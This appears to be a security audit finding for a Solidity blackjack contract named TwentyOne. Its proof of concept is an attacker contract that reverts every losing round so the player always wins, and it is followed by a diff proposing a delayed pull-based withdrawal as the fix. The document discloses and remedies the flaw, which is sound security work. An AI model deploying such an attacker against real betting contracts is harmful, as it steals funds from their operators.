**Impact:**
This can break the game logic, players can always win the game by creating an attacker.
**Proof of Concept:**
1. create an attacker contract like following:
```solidity
pragma solidity ^0.8.13;
import {TwentyOne} from "../../src/TwentyOne.sol";
contract BlackJackAttacker {
TwentyOne private twentyOne;
constructor(address payable _twentyOne) {
twentyOne = TwentyOne(_twentyOne);
}
receive() external payable {}
function startGame() public {
twentyOne.startGame{value: 1 ether}();
}
function attack() public {
uint256 initBalance = address(this).balance;
twentyOne.call();
uint256 finalBalance = address(this).balance;
require(finalBalance > initBalance, "revert if lose");
}
}
+ uint256 private constant PAYOUT_WAITING_BLOCKS = 10;
+ mapping(address => uint256) private payoutEther;
+ mapping(address => uint256) private minBlockCanWithdraw;
...
function endGame(address player, bool playerWon) internal {
delete playersDeck[player].playersCards;
delete dealersDeck[player].dealersCards;
delete availableCards[player];
lockedPayoutEther -= PAYOUT;
if (playerWon) {
- payable(player).transfer(2 ether);
+ payoutEther[player] += PAYOUT;
+ minBlockCanWithdraw[player] = block.number + PAYOUT_WAITING_BLOCKS;
}
}
...
+ function withdraw() public {
+ uint256 amount = payoutEther[msg.sender];
+ require(amount > 0, "no payout available");
+ require(minBlockCanWithdraw[msg.sender] > 0, "no waiting payout");
+ require(block.number >= minBlockCanWithdraw[msg.sender], "waiting for blocks");
+ minBlockCanWithdraw[msg.sender] = 0;
+ payoutEther[msg.sender] = 0;
+ payable(msg.sender).transfer(amount);
+ emit FeeWithdrawn(msg.sender, amount);
+ }